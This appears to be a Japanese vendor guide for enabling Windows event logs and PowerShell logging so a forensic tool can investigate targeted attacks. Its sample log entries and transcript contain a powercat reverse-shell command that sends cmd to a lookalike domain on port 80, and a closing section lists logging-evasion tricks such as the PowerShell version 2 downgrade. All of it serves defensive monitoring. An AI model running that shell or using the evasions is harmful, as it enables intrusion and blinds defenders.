## 7. イベントログの有効/無効

7.1. FalconNest で必要となるイベントログの有効化

各イベントログには、有効/無効の状態があり、無効の状態ではイベントが記録されません。このため、 記録したいイベントログは有効にしておく必要があります。

FalconNest では、下記イベントログを利用します。

それぞれのイベントログが有効になっている事を確認してください。(デフォルトで有効になっている項目 を含みます)

- SYSTEM
- Microsoft-Windows-GroupPolicy/Operational
- Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
- Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
- Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational
- Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin
- Microsoft-Windows-TaskScheduler/Operational
- Microsoft-Windows-Dhcp-Client/Operational
- Microsoft-Windows-PowerShell/Operational
- Windows PowerShell

7.2. イベント ビューアーを利用したログの有効化方法

イベントログを有効にするには、スタートメニューを右クリックし「イベント ビューアー」を開きます。



図 18

または、「ファイル名を指定して実行」ダイアログから、「eventvwr」を入力し「イベント ビューアー」を 実行します。

イベント ビューアーの起動後、左ペインから対象となるログを選択し、右クリックメニューから「ログの有効 化」を実行します。 以下は、例として [アプリケーションとサービス ログ] → [Microsoft] → [Windows] → [TaskScheduler] → [Operational] ログを有効にする操作です。



図 19: [TaskScheduler] → [Operational] ログの有効化操作(イベント ビューアー)

このログは、デフォルトで無効な場合がありますが、標的型攻撃の調査をする上で有用な記録が残る 傾向があるため、有効にすることを推奨します。

その他、必要なイベントログが有効になっている事を確認してください。

# イベントログの有効/無効は、イベント ビューアーのトップページに表示される [ログの要約] 項目から も確認できます。

ログの要約					•
ログの名前	サイズ(現在/最大)	更新日時	有効	アイテム保持ポリシー	^
Application	20.00 MB/20 MB	2018/06/21 1315:22	右効	が更に広じてイベントを上書きする(最も古いイベントから)	
ハードウェア イバント	68 KB/20 MB	2017/12/22 13:35:31	右効	必要に応じてイベントを上書きする(最も古いイベントから)	
Internet Explorer	68 KB/1 00 MB	2017/12/22 13:35:31	右効	必要に応じてイベントを上書きする(最も古いイベントから)	
キー管理サービス	68 KB/20 MB	2017/12/22 13:35:31	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft Office Ale	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
ヤキュリティ	20.00 MB/20 MB	2018/06/21 13:15:19	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Svmantec Endpoint	1.07 MB/8 MB	2018/06/21 13:16:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
システム	4.07 MB/20 MB	2018/06/21 13:15:26	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
ThinPrint Diagnostics	68 KB/1.00 MB	2018/06/21 13:14:03	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Windows PowerShell	68 KB/15 MB	2017/12/22 13:35:31	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
AMSI/Operational	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Forwarded Events	0 バイト/20 MB		無効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-AppV-Clie	68 KB/10 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-AppV-Clie	68 KB/10 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-AppV-Clie	68 KB/10 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-AppV-Seq	68 KB/10 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-AppV-Seq	68 KB/10 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	1.00 MB/1.00 MB	2018/06/21 13:16:31	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-User Expe	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-User Expe	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-User Expe	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-User Expe	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/22 15:25:37	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
AllJoynEvents/Oper	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft Windows A	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/27 11:15:23	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2018/04/05 17:34:56	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/22 15:25:37	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	68 KB/1.00 MB	2017/12/22 15:25:37	有効	必要に応じてイベントを上書きする(最も古いイベントから)	
Microsoft-Windows	1.00 MB/1.00 MB	2018/06/21 13:16:29	有効	必要に応じてイベントを上書きする(最も古いイベントから)	$\sim$

図 20:ログの要約(イベント ビューアー)

© 2018-2021 LAC Co., Ltd.

7.3. wevtutil コマンドを利用したログの有効化

コマンドラインでイベントログを有効化する場合、wevtutil コマンドが使用できます。以下はタスクスケジューラのログを有効化する場合のコマンド例です。

パブリッシャーの確認

wevtutil\_ep

チャネルの確認

wevtutil\_gp\_"Microsoft-Windows-TaskScheduler"\_|\_more

チャネル名

Microsoft-Windows-TaskScheduler/Operational

構成情報の確認

wevtutil\_gl\_"Microsoft-Windows-TaskScheduler/Operational"

ログの有効化

wevtutil\_sl\_/e:true\_"Microsoft-Windows-TaskScheduler/Operational"

8. イベントログの最大サイズと削除ルール

8.1. イベント ビューアーによる設定

各イベントログには、最大サイズと、最大サイズに達したときの削除ルールの設定があります。デフォルト の削除ルールは、[必要に応じてイベントを上書きする(最も古いイベントから)]です。

最大サイズと削除ルールは、イベント ビューアーの左ペインからログを選び [プロパティ] を開くことで確認・変更可能です。

ログのプロパティ - セキュリティ	(種類:管理)	$\times$
全般		
フル ネーム(E):	Security	
ログのパス( <u>L</u> ):	%SystemRoot%¥System32¥Winevt¥Logs¥Security.evtx	
ログのサイズ:	20.00 MB(20,975,616 バイト)	
作成日時:	2017年12月22日 13:34:00	
更新日時:	2018年6月21日 13:15:19	
アクセス日時:	2017年12月22日 13:34:00	
✓ ログを有効にする(E)		
最大ログ サイズ (KB)( <u>)</u>	⊻): 20480 🖢	
イベント ログ サイズが最;	大値に達したとき:	
◎ 必要に応じてイベ	ことを上書きする (最も古いイベントから)	
○ イベントを上書き	しないでログをアーカイプする ( <u>A</u> )	
○ イベントを上書き	しない (ログは手動で消去)(N)	
	ログの消去( <u>R</u> )	
	OK キャンセル 適用(P)	

図 21:ログのプロパティ(イベント ビューアー)

特に [セキュリティ] のログは、監査ポリシーの内容によっては大量に記録されるため、設定に注意が必要です。十分な最大サイズ(例:組織のポリシーで定めている期間分のログが保存可能なサイズ)とするか、古いものはアーカイブする設定を検討してください。

8.2. グループポリシーオブジェクトによる設定

グループポリシーオブジェクト内、[コンピューターの構成] > [ポリシー] > [管理用テンプレート] > [Windows コンポーネント] > [イベント ログ サービス] > [セキュリティ] > [ログ ファイルの最大サイズ (KB) を指定する]に、イベントログの最大サイズに関する設定項目があり、ポリシー適用対象のコンピュー タに対する設定が可能です。

## 【注意】

[コンピューターの構成] > [ポリシー] > [Windows の設定] > [セキュリティの設定] > [イベント ログ] > [セキュリティ ログの最大サイズ]から値を設定した場合、ローカルの値と加算され意図しないサイズになる場合があります。<sup>13</sup>



図 22:イベントログの設定(グループポリシーオブジェクト)



<sup>&</sup>lt;sup>13</sup> セキュリティ ログの最大サイズをポリシーで配布する際にローカルの値に加算される場合があります <u>https://jpwinsup.github.io/blog/2020/12/04/UserInterfaceAndApps/MaxSizeofE</u> <u>ventLogsAdded/</u>

懸 ログファイルの最大サイズ (KB) を指定する					—		×
📷 ログ ファイルの最大サイズ (KB) を指定す	5		前の設定( <u>P</u> )	次の設定(	<u>N</u> )		
<ul> <li>○ 未構成(<u>C</u>) コメント:</li> <li>● 有効(<u>E</u>)</li> <li>○ 無効(<u>D</u>)</li> </ul>		. 11176					
5/1 Percent 9497	WINDOWS VIS	sta 以降					$\hat{}$
オプション:		ヘルプ:					
最大ログ サイズ (KB) 2097152		このポリシー このポリシー 位で1 MB に設定できま このポリシー 弾 りシー 弾 した できま このポリシー 割 の ポリシー 割 した できま この ポリシー 割 に 設 た できま この ポリシー 割 に 設 た できま この ポリシー 割 に 設 た できま この ポリシー 割 に し が た の ま 、 し の よ し の た し の た し の た し の た し の た し の た し の し し の し し の し し の し し し し し し し し し し し し	設定は、ログファイル 設定を有効にした場そ (1024 KB) から 2 す。 設定を無効にした場そ イズはローカルで構 のプロパティ] ダイア( 4B に設定されている	の最大サイズを Ki 合、ログ ファイルの TB (214748364 合、または構成しな 成された値に設定で ひを使用してこの す。	3 単位で 最大サイ (7 KB) いった場す。 して かったます。 更	指定します。 ズまでの範囲 合、ログフル間 ローカル間 できます。	す。 単内 ア Sam 既
			ОК	キャンセル		適用( <u>A</u>	)

図 24: Windows Server 2016 におけるサイズ設定(グループポリシーオブジェクト)

グループポリシーの適用状況を確認するには、gpresult コマンドが利用できます。

gpresult\_/scope:computer\_/Z

図 25 : gpresult コマンドの実行結果

## 9. PowerShell ログの取得

## [注意]スクリプト内に機密情報(パスワードなど)が記載されている場合、それらの機密情報がログ に記録される事から、情報漏洩に繋がる危険性があります。

PowerShell 5.0 以降のバージョンでは、ログ機能が強化されています。強化されたログを有効にする には、 [管理用テンプレート] → [Windows コンポーネント] → [Windows PowerShell] 内の 以下 3 つの設定項目を有効にします。

グループポリシーが適用される対象 PC にインストールされている PowerShell のバージョンが古い場合、 [有効] と構成してもログが取得されない場合があります。

以降、PowerShell 5.x 以降で設定する事を前提としています。PowerShell 6 では異なる場合が あります。<sup>14</sup>

・モジュール ログを有効にする

この項目を有効にする事で、イベント ID 4103 が記録されるようになります。

・PowerShell スクリプトブロックのログ記録を有効にする15

この項目を有効にする事で、イベント ID 4104、4105、4106 が記録されるようになります。 (MS Baseline では Enable)

・PowerShell トランスクリプションを有効にする

この項目を有効にする事で、指定したテキストファイルにログが記録されるようになります。

<sup>&</sup>lt;sup>14</sup> WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later <u>https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/57600</u> <u>96ecf80a129e0b17634/1465911664070/Windows+PowerShell+Logging+Cheat+Shee</u> <u>t+ver+June+2016+v2.pdf</u>

<sup>&</sup>lt;sup>15</sup> スクリプトのトレースとログ <u>https://docs.microsoft.com/ja-jp/powershell/scripting/windows-powershell/wm</u> <u>f/whats-new/script-logging?view=powershell-7.1</u>

<sup>© 2018-2021</sup> LAC Co., Ltd.

/ グループ ポリシー管理エディター				-		×
ファイル( <u>F</u> ) 操作( <u>A</u> ) 表示( <u>V</u> ) ヘルプ( <u>H</u> )						
(=						
I Default Domain Policy [AD.EXAMPLE.LOCAL] ポリシー	^	Windows PowerShell				
✓ № コンピューターの構成		酒日も潮切せると説明がままされ	設定	生能		C/b
∽ 🗂 ポリシー		項目を選択9つと説明が衣小され   ます		方动	1	
> 📫 ソフトウェアの設定		<b>^</b>	E しジュール ログを有効にする	1月20月	0	
> 📫 Windows の設定			El PowerShell スクリフト フロックのロク記録を有効にする	有幼	0	いえ
✓ ■ 管理用テンプレート: ローカル コンピューターから取得したポリシ・	-		国 スクリフトの実行を有効にする	禾構成	()	いえ
✓ I Windows コンポーネント			El PowerShell トランスクリプションを有効にする	有効	()	いえ
ActiveX Installer Service			🖻 Update-Help の既定のソース パスを設定する	未構成	()	いえ
> 🧰 BitLocker ドライブ暗号化						
Endpoint Protection						
> 📫 Internet Explorer						
MDM						
Microsoft User Experience Virtualization						
Microsoft セカンダリ認証要素						
NetMeeting						
OneDrive						
<ul> <li>PC 設定の同期</li> </ul>						
RSS 74-F						
Windows 10 への機能の追加						
> Windows Hello for Business						
Windows Ink 'J-7XK-X						
Windows Mail						
Windows Media Player						
Windows Media テンダル者作権管理						
Windows Messenger						
Windows PowerShell	$\sim$					
< >>		∖拡張√標準/				
5 個の設定						

図 26: [Windows PowerShell] 各設定項目(有効にした状態)

なお、 [管理用テンプレート] 内に設定項目自体がない場合 (Windows 8.1 や Windows Server 2012 の場合) があります。

その場合、以下のページからポリシーテンプレートをダウンロードし、セットアップ16してください。

Administrative Templates (.admx) for Windows 10 April 2018 Update (1803) <a href="https://www.microsoft.com/en-us/download/details.aspx?id=56880">https://www.microsoft.com/en-us/download/details.aspx?id=56880</a>

<sup>&</sup>lt;sup>16</sup> ダウンロードした msi ファイルをセットアップすると、インストール先に PolicyDefinitions フォルダが展開されます。この中で PowerShellログの取得には、PowerShellExecutionPolicy.admx および関連する adml ファイルが必要です。必要なポリシーテンプレートを、%SystemRoot%¥PolicyDefinitionsフォルダ(ドメイン構成でセントラルポリシーを使用している場合には、%SystemRoot%¥Sysvol¥Domain¥Policies¥PolicyDefinitions フォルダ)にコピーして使用してください。

PowerShellコマンド履歴

PowerShell 上で実行したコマンド履歴が、下記フォルダ配下にテキストファイル(ConsoleHost\_hist ory.txt)として保存されている場合があります。

C:¥Users¥<ユーザー名>¥AppData¥Roaming¥Microsoft¥Windows¥PowerShell¥PSRea dline¥ConsoleHost\_history.txt

https://github.com/kacos2000/Win10/blob/master/ConsoleHost\_history.pdf

9.1. PowerShell モジュール ログ

## 【注意】モジュールログを有効にした場合、大量のログが発生する場合があります。通常はこのログを 取得する事は推奨しておりませんが、取得する場合はログのサイズ等を調整してください。

モジュールログを有効にするには、「表示」の項目からヘルプに記載されているモジュール名を入力する 必要があります。(又はアスタリスク文字を設定)

		_	
🌺 モジュール ロクを有効にする			×
📷 モジュール ログを有効にする	前の設定(P) 次の設定(N)		
<ul> <li>○ 未構成(<u>C</u>) コメント:</li> <li>● 有効(<u>E</u>)</li> <li>○ 無効(<u>D</u>)</li> <li>サポートされるパージョン:</li> </ul>	Windows 7 以降および Microsoft Windows Server 2008 ファミリ以降		~
オプション:	、 たず:		
1 つ以上のモジュールのログを有効にするには リックし、一覧にモジュール名を入力します。ワイ サポートされます。 モジュール名 表示 Windows PowerShell のコア モジュールの するには、一覧に次のモジュール名を入力しま Microsoft.PowerShell.* Microsoft.WSMan.Management	(表示)をク ルドカードが の口が記録を有効によることができます。 このポリシー設定を有効にした場合、指定したモシュー のバイライク実行イベントゲイントとユーアーのWindows PowerShell のたご證録されます。オンコールに対してこのパリ 特別にする提作は、そのモジュールの LogやpienteExecuto 力切いですを True に設定する操作と同じ意味が多います。 このポリシー設定を無効したと場合、すべての Windon PowerShell モジュールで実行イベントのロが記録が無効によ ュールによりてった PowerShell モジュールで実行イベントのロが記録が無効によ ュールによりてったの Windon PowerShell モジュールで実行イベントのロが記録が無効にな ュールによりてったの Windon	<ul> <li>I モジュール</li> <li>レのメンバー</li> <li>シー設定を</li> <li>nDetails</li> <li>ws</li> <li>炒ます。モジュールの</li> <li>する操作と</li> </ul>	
	ロム感が入ります。 このポリシー設定を構成しない場合、モジュールまたはス LogPipelineExecutionDetails プロ(ティの設定によって、 ルまたはスナラブインの実行イベントがUTにご認知れるかどかか 。限定では、すべてのモジュールおよびスナラブインの	はサップインの そのモジュー が決まります 通用(A)	~

図 27 モジュールログを有効にする

設定項目 [モジュール ログを有効にする] を有効にする際、モジュール名の入力を求められますので、 以下の 2 つを入力します。(個別指定するのではなく、アスタリスク "\*"を指定する事で同様の設定とな ります)

Microsoft.PowerShell.*	
Microsoft.WSMan.Management	

表示す	るコンテンツ			×
ŧジı	-ル名			
	値			
	Microsoft.PowerShell.*			
	Microsoft.WSMan.Management			
**				
		OK(O)	キャンカル	ഹ

図 28 モジュール名の設定

有効にした後、PowerShell が実行されると、イベントログ内⇒アプリケーションとサービス ログ⇒ Microsoft⇒Windows⇒PowerShell⇒Operational にイベント ID 4103 が記録されます。

下記図は、イベント ID 4688 に記録されている PowerShell の実行とコマンドラインのイベントレコードです。

セキュリティ	イベント数: 69			
🝸 7rルタ·	-: ログ: Security; ソース: ;	イベント ID: 4688。イベント数: 32		
キーワード	日付と時刻	ソース	イベントID	タスクのカテ ^
<ul> <li>&lt; 成功の…</li> </ul>	2018/05/11 11:01:50	Microsoft Windows security	4688	プロセス作成、 >
イベント 4688,	Microsoft Windows secu	urity auditing.		×
全般 詳	細			
親	iしいプロセス名: C:¥Wind	dows¥Svstem32¥WindowsPowerShell}	( 1 0)	
۲ ۱	ークン昇格の種類:%%1937	Mandatan: LabalVHigh Mandatan: I	vi.U¥powersr	nell.exe ^
トル	ークン昇格の種類:%%1937 >須ラベル: :成元プロセス ID: 0x12c8	Mandatory Label¥High Mandatory L	evel	nell.exe ^
ト 必 作	ークン昇格の種類:%%1937 >須ラベル: :成元プロセス ID: 0x12c8 :成元プロセス名: C:¥Wind	Mandatory Label¥High Mandatory L dows¥System32¥cmd.exe	evel	nell.exe
ト 必 竹 竹 プ ーc <u>www.goo</u>	ークン昇格の種類:%%1937 %須ラベル: #成元プロセス ID: 0x12c8 #成元プロセス名: C:¥Wind ロセスのコマンド ライン: <u>ygleaccountsservices.com</u>	Mandatory Label¥High Mandatory L dows¥System32¥cmd.exe powershell –Exec Bypass ″. ¥″C.¥ n –p 80 –t 2 –e cmd″	evel ⊡TMP¥nc.ps1¥	";powercat

図 29

上記 PowerShell 実行により記録されたモジュールのイベントレコードが下記となります。



図 30

モジュール単位でレコードが記録されます。

9.2. PowerShell スクリプト ブロック

有効にした後、PowerShell が実行されると、イベントログ内⇒アプリケーションとサービス ログ⇒ Microsoft⇒Windows⇒PowerShell⇒Operational にイベント ID 4104 が記録されます。

設定項目 [PowerShell スクリプト ブロックのログ記録を有効にする] を有効にする際、追加で [ス クリプト ブロックの呼び出し開始/停止イベントをログに記録する] オプションが選択可能ですが、このオプ ションを有効にするとログ量が膨大となるため、一般にはこのオプションは無効にすることを推奨します。



図 31: [PowerShell スクリプト ブロックのログ記録を有効にする]の設定

下記図は、イベント ID 4688 に記録されている PowerShell の実行とコマンドラインのイベントレコードです。



図 32

上記 PowerShell 実行により記録されたスクリプトブロックのイベントレコードが下記となります。



図 33

スクリプトブロックはモジュール単位で記録されます。

下記図は、呼び出されたモジュールに関するスクリプトブロックのレコードとなります。

<b>Operational</b> イベント数: 68				
レベル 日付と時刻	リ ソース	イベント ID	タスクのカテゴリ	^
①詳細 2018/05/1	1 10:01:24 PowerS	h 4104	リモート コマンドを実行します	
①詳細 2018/05/1	1 10:01:24 PowerS	h 4104	リモート コマンドを実行します	~
イベント 4104, PowerShell (Micro	osoft-Windows-PowerShell)			×
全般詳細				_
function powercat { param( [alias("Client")][string]; [alias("Listen")][switch [alias("Port")][Parametu [alias("Execute")][string]; [alias("ExecutePowersh [alias("Relay")][string]; [alias("UDP")][switch]\$	\$c="", ]\$I=\$False, er(Position=-1)][string]\$p=" g]\$e="", ell")][switch]\$ep=\$False, br="", u=\$False,	,		v
ログの名前(M):	Microsoft-Windows-PowerS	hell/Operational መሪካር (D)։	2010/05/11 10:01:04	
2-3(3). 2(3):5 ID(E):		w: ロクのロトバ <u>ロ</u> ハ タフカのカテゴル(	2018/05/11 10:01:24	+7
	104 ≣¥आ	シスシ(0)35 コス キーワード(K)・		74.2
フーザー(1):	DESKTOP-1H2CCQ4¥forer	יישייע אישיי sic	3): DESKTOP-1H2CC04	
オペコード(0):	呼び出し作成時		J DEGREGE MEDOCAT	
詳細情報(I):	イベントログのヘルプ			

図 34

スクリプトブロックが複数のイベントログレコードに分かれて記録されている場合、メッセージ末尾に記録 されている ScriptBlock ID とパスでも確認できます。



図 35

※ スクリプト ブロックの呼び出し開始/停止イベントをログに記録、のオプションを有効にした場合、大量 のログが記録されます。 PowerShell により実行されたスクリプト内で、「疑わしい」<sup>17</sup>コマンドが実行された場合、イベント ID 4104 が「警告」として記録されます。<sup>18</sup>

PowerShell スクリプトブロックのログ記録を有効にしていない場合(未構成)であっても、この「疑わしい」コマンドの実行はイベントログに記録されますが、明示的に「無効」と設定している場合には記録されません。

Operation	ial イベント数: 7 (!)	新しいイベントが利用可能です			
レベル	日付と時刻	ソース	イベント ID	タスクのカテゴリ	^
1 情報	2018/05/11 13:23:3	7 PowerShell (Microso	53504	PowerShell 名前付きパイプ	
(1)情報	2018/05/11 13:23:3	7 PowerShell (Microso	40961	PowerShell コンソールの起動	
1 警告	2018/05/11 13:22:4	2 PowerShell (Microso	4104	リモート コマンドを実行します	
1 情報	2018/05/11 13:22:4	2 PowerShell (Microso	40962	PowerShell コンソールの起動	
1 情報	2018/05/11 13:22:4	2 PowerShell (Microso	53504	PowerShell 名前付きパイプ	~
イベント 41	04, PowerShell (Micr	osoft-Windows-PowerShell)			×
全般	詳細				
	ut-ma				
Scriptb	lock テキストを作成し	ています (1 個中 1 個目):			^
functio	n Invoke-Tasksback	door {			
	<#				
SYNO	PSIS				~
ログの名	前( <u>M</u> ):	Microsoft-Windows-PowerShe	ll/Operationa	d	
ソース(S)	):	PowerShell (Microsoft-Window	ログの日付(	( <u>D</u> ): 2018/05/11 13:22:42	2
イベントコ	ID( <u>E</u> ):	4104	タスクのカテ:	ゴリ(Y): リモートコマンドを実行	します
UNTRE)	):	警告	キーワード()	<u>K</u> ): なし	
ユーザー	(U):	DESKTOP-1H2CCQ4¥forensio	コンピュータ	-(R): DESKTOP-1H2CCQ	4
オペコート	*( <u>O</u> ):	呼び出し作成時			
言羊糸田は青幸	F(1):	イベント ログのヘルプ			
	-				
4					>

図 36

<sup>&</sup>lt;sup>17</sup> Bypass for PowerShell ScriptBlock Warning Logging of Suspicious Commands <u>https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html</u>

<sup>&</sup>lt;sup>18</sup>Greater Visibility Through PowerShell Logging
<u>https://www.fireeye.com/blog/threat-research/2016/02/greater\_visibility
t.html</u>

9.3. PowerShell トランスクリプション ログ

【注意】FalconNest(LI)では利用しておりません。必要に応じて取得してください。

設定項目 [PowerShell トランスクリプションを有効にする] を有効にする際、追加で [トランスクリプ ト 出力ディレクトリ] の設定が必要です。

設定したフォルダにテキスト形式のトランスクリプトが出力されますが、コンピュータ上で実行された PowerShell コードが含まれるため、機微な情報が含まれることがあります。フォルダのアクセス権を適切に 設定するなど、取り扱いには注意してください。

また、追加で [呼び出しヘッダーを含める] オプションが選択可能です。このオプションを有効にすることで、実行日時などが記録されますので、有効にすることを推奨します。

🧶 PowerShell トランスクリプションを有効にする – 🗆 🗙						
\overline PowerShell	トランスクリプションを有効に	する	前の設定( <u>P</u> )	次の設定( <u>N</u> )	)	
○ 未構成( <u>C</u> ) ● 有効( <u>E</u> ) ○ 無効( <u>D</u> )	コメント: サポートされるバージョン:	Windows 7 2008 ファミリル	以降および Micros	oft Windows	Server	< > < >
オプション:		ヘルプ:				
トランスクリプト出 C:¥PowerShel I 呼び出しへック	カディレクトリ I_Transcript ブーを含める:	この PowerS クリプトとし 20 PowerS Window ア 有効にな デルクト は、'Pow 始日時が 有 ッションで	ンポリシー設定を使用 hell コマンドの入出。 、てキャブチャできます シポリシー設定を有穷 hell、Windows P s PowerShell エン カゲーションに対して ります。配定では、名 いたトランスクリプト出 縁されます。記録が にたりコンスクリプト出 縁されます。記録で 行加された形式にな 効にすることは、各 い Start-Transcript	して、Windov 力をテキスト ペ・ っ かにした場合、V owerShell IS ションを利用する ションを利用する ションを利用する ションを利用する ションと キューザーのマイ 力が れるファイルの名 りて にコンピュー やります。このポリ Windows Pov コマンドレットを	vs -スのトラン Vindows たべてのから たってでの かの作すユメン 前 ターを トーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー	
			OK	キャンセル	適用(	<u>A</u> )

図 37: [PowerShell トランスクリプションを有効にする]の設定

デフォルトでは実行ユーザーのマイドキュメントフォルダ配下に自動的にフォルダが作成され、ログファイル が保存されます。

[トランスクリプト 出力ディレクトリ] を利用する事で、指定したフォルダ配下にログを出力する事も可 能です。

> F	PC 3	・ドキュメント > 20180511	<u>ں</u> ہ	2018	0511の検索
/	^	名前 ^ ^			更新日時
		<ul> <li>PowerShell_transcript.DESKTOP-1H2CCQ4.33jXTLb4.2018051111</li> <li>PowerShell_transcript.DESKTOP-1H2CCQ4.an887WCx.201805111</li> <li>PowerShell_transcript.DESKTOP-1H2CCQ4.k4Ft5cl0.2018051111</li> </ul>	12957.1 113002 3009.tr	txt 2.txt «t	2018/05/11 11:29 2018/05/11 11:30 2018/05/11 11:30

図 38

記録されたログファイルの例:

\*\*\*\*\* Windows PowerShell トランスクリプト開始 開始時刻: 20180511112957 ユーザー名: DESKTOP-1H2CCQ4¥forensics RunAs ユーザー: DESKTOP-1H2CCQ4¥forensics 構成名: コンピューター: DESKTOP-1H2CCQ4 (Microsoft Windows NT 10.0.16299.0) ホスト アプリケーション: powershell -Exec Bypass . "C:¥TMP¥nc.ps1";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd プロセス ID: 7068 PSVersion: 5.1.16299.251 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.16299.251 BuildVersion: 10.0.16299.251 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 \*\*\*\*\*\* PS>. "C:\TMP\Lambda nc.ps1";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd PS>\$global:? True \*\*\*\*\* Windows PowerShell トランスクリプト終了 終了時刻: 20180511112957 \*\*\*\*\*\*

PowerShell ログの回避手法 Downgrade Attack

■スクリプトブロック ログの回避

PowerShell ScriptBlock Logging Bypass https://cobbr.io/ScriptBlock-Logging-Bypass.html

Bypass for PowerShell ScriptBlock Warning Logging of Suspicious Commands <a href="https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html">https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html</a>

Exploring PowerShell AMSI and Logging Evasion https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-eva sion/

■ Downgrade Attack 攻撃者が意図的に PowerShell バージョン 2 を指定して実行した場合、スクリプトブロックのログなどは行 われません。

PowerShell -version 2 PowerShell -v 2

イベント ID 400 の EngineViersion 値を利用した確認

From PowerShell to p@W3RH311 – Detecting and Preventing PowerShell Attacks https://www.eventsentry.com/blog/2018/01/powershell-pw3rh311-detecting-pr eventing-powershell-attacks.html

インサイド SHELL: .NET ハッキング技術を応用した POWERSHELL 可視性の向上 https://github.com/tandasat/DotNetHooking/blob/master/Slides/CodeBlue 111 0\_JP.pdf

■ Upgrade Attack A Critique of Logging Capabilities in PowerShell v6 <a href="http://www.labofapenetrationtester.com/2018/01/powershell6.html">http://www.labofapenetrationtester.com/2018/01/powershell6.html</a> 9.4. PowerShell:保護されたイベントログを有効にする

## [注意]PowerShell のイベントログを暗号化した場合、FalconNest(LI)では暗号化されたメッ セージを復号できない状況となります。

PowerShellのイベントログを取得するよう設定した場合、スクリプトに含まれている機密情報の取り扱いに注意が必要です。

Windows 10 以降では、イベントログを保護する仕組みとして「保護されたイベントログ」機能が提供 されており、この機能を利用する事でイベントログに記録される内容を暗号化する事も可能です。

PowerShell ♥ the Blue Team

https://devblogs.microsoft.com/powershell/powershell-the-blue-team/

グループポリシー上では、「ポリシー」⇒「管理用テンプレート」⇒「Windows コンポーネント」⇒「イベント ログ」にある"保護されたイベント ログを有効にする」から構成できます。(有効にするには、適切な証明書が必要となります)

/夏 グループ ポリシー管理エディター			_		$\times$
ファイル(E) 操作( <u>A</u> ) 表示( <u>V</u> ) ヘルプ( <u>H</u> )					
🔶 🔿 🗾 🗟 🛛 🖬 🖓					
アプリ実行時 ^	<u>ั</u> イベントログ				
イベントビューアー	保護されたイベントログを有効にする	設定		状態	105
> C イベント ログ サービス イベント 転送	<u>ポリシー設定</u> の編集	🗃 保護されたイベント ログを有効にする		未構	成
<ul> <li>ご インターネット インフォメーション サー</li> <li>&gt;ご エクスブローラー</li> <li>ご オンライン ヘルプ</li> </ul>	必要条件: Windows Server 2016 以降または Windows 10 以降				
<ul> <li>ゴンテンツ</li> </ul>	説明:				
<sup>●</sup> ゲームエクスブローラー ● サウンドレコーダー ● ショービーレージー	このポリシー設定では、保護されたイベント ログを構成できます。				
<ul> <li>ストア</li> <li>スマートカード</li> <li>セキュリティセンター</li> <li>ソフトウェア保護ブラットフォーム</li> <li>マクロマなどコーラー</li> </ul>	このポリシー設定を有効にした場合、この設 定をサポートしているコンポーネントは、指定 された証明書を使用して、機密性の高いイ ベントログデータをイベントログに書き込む 前に暗号化します。データは、 Crvotographic Message Syntax (CMS)				
